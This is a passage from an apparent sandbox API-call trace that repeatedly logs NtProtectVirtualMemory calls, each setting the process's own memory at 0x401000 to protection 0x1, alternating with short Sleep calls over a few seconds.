NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0316.035] Sleep (dwMilliseconds=0x5) [0316.082] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0316.083] Sleep (dwMilliseconds=0x5) [0316.130] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0316.131] Sleep (dwMilliseconds=0x5) [0316.178] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0316.179] Sleep (dwMilliseconds=0x5) [0316.225] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0316.226] Sleep (dwMilliseconds=0x5) [0316.301] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0316.302] Sleep (dwMilliseconds=0x5) [0316.350] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0316.351] Sleep (dwMilliseconds=0x5) [0316.397] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0316.398] Sleep (dwMilliseconds=0x5) [0316.445] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0316.446] Sleep (dwMilliseconds=0x5) [0316.494] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0316.495] Sleep (dwMilliseconds=0x5) [0316.543] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0316.544] Sleep (dwMilliseconds=0x5) [0316.585] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0316.585] Sleep (dwMilliseconds=0x5) [0316.634] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0316.634] Sleep (dwMilliseconds=0x5) [0316.683] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0316.683] Sleep (dwMilliseconds=0x5) [0316.731] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0316.732] Sleep (dwMilliseconds=0x5) [0316.775] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0316.775] Sleep (dwMilliseconds=0x5) [0316.817] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0316.818] Sleep (dwMilliseconds=0x5) [0316.992] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0316.993] Sleep (dwMilliseconds=0x5) [0317.067] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0317.068] Sleep (dwMilliseconds=0x5) [0317.140] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0317.141] Sleep (dwMilliseconds=0x5) [0317.181] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0317.182] Sleep (dwMilliseconds=0x5) [0317.230] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0317.231] Sleep (dwMilliseconds=0x5) [0317.273] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0317.274] Sleep (dwMilliseconds=0x5) [0317.387] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0317.388] Sleep (dwMilliseconds=0x5) [0317.436] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0317.438] Sleep (dwMilliseconds=0x5) [0317.500] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0317.500] Sleep (dwMilliseconds=0x5) [0317.563] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0317.564] Sleep (dwMilliseconds=0x5) [0317.627] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0317.692] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0317.693] Sleep (dwMilliseconds=0x5) [0317.753] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0317.754] Sleep (dwMilliseconds=0x5) [0317.806] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0317.807] Sleep (dwMilliseconds=0x5) [0317.860] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0317.860] Sleep (dwMilliseconds=0x5) [0317.923] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0317.924] Sleep (dwMilliseconds=0x5) [0317.988] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0318.032] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0318.033] Sleep (dwMilliseconds=0x5) [0318.081] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0318.082] Sleep (dwMilliseconds=0x5) [0318.144] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0318.200] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0318.201] Sleep (dwMilliseconds=0x5) [0318.240] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0318.241] Sleep (dwMilliseconds=0x5) [0318.344] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0318.345] Sleep (dwMilliseconds=0x5) [0318.397] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0318.397] Sleep (dwMilliseconds=0x5) [0318.446] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0318.447] Sleep (dwMilliseconds=0x5) [0318.489] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0318.490] Sleep (dwMilliseconds=0x5) [0318.539] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0318.539] Sleep (dwMilliseconds=0x5) [0318.589] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0318.590] Sleep (dwMilliseconds=0x5) [0318.640] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0318.689] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0318.691] Sleep (dwMilliseconds=0x5) [0318.737] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0318.738] Sleep (dwMilliseconds=0x5) [0318.794] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0318.795] Sleep (dwMilliseconds=0x5) [0318.841] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0318.841] Sleep (dwMilliseconds=0x5) [0318.882] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0318.882] Sleep (dwMilliseconds=0x5) [0318.927] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0318.928] Sleep (dwMilliseconds=0x5) [0318.974] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0318.975] Sleep (dwMilliseconds=0x5) [0319.025] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0319.026] Sleep (dwMilliseconds=0x5) [0319.069] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0319.070] Sleep (dwMilliseconds=0x5) [0319.114] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0319.115] Sleep (dwMilliseconds=0x5) [0319.163] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0319.164] Sleep (dwMilliseconds=0x5) [0319.209] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0319.210] Sleep (dwMilliseconds=0x5) [0319.259] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0319.260] Sleep (dwMilliseconds=0x5) [0319.398] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0319.399] Sleep (dwMilliseconds=0x5) [0319.445] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0319.446] Sleep (dwMilliseconds=0x5) [0319.494] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0319.495] Sleep (dwMilliseconds=0x5) [0319.540] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0319.541] Sleep (dwMilliseconds=0x5) [0319.582] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0319.583] Sleep (dwMilliseconds=0x5) [0319.630] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0319.631] Sleep (dwMilliseconds=0x5) [0319.679] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0319.680] Sleep (dwMilliseconds=0x5) [0319.727] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0319.728] Sleep (dwMilliseconds=0x5) [0319.770] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0319.771] Sleep (dwMilliseconds=0x5) [0319.824] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0319.825] Sleep (dwMilliseconds=0x5) [0319.871] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0319.872] Sleep (dwMilliseconds=0x5) [0319.919] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0319.919] Sleep (dwMilliseconds=0x5) [0319.962] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0319.963] Sleep (dwMilliseconds=0x5) [0320.009] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0320.010] Sleep (dwMilliseconds=0x5) [0320.055] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0320.056] Sleep (dwMilliseconds=0x5) [0320.101] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0320.102] Sleep (dwMilliseconds=0x5) [0320.148] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0320.149] Sleep (dwMilliseconds=0x5) [0320.194] NtProtectVirtualMemory (in: 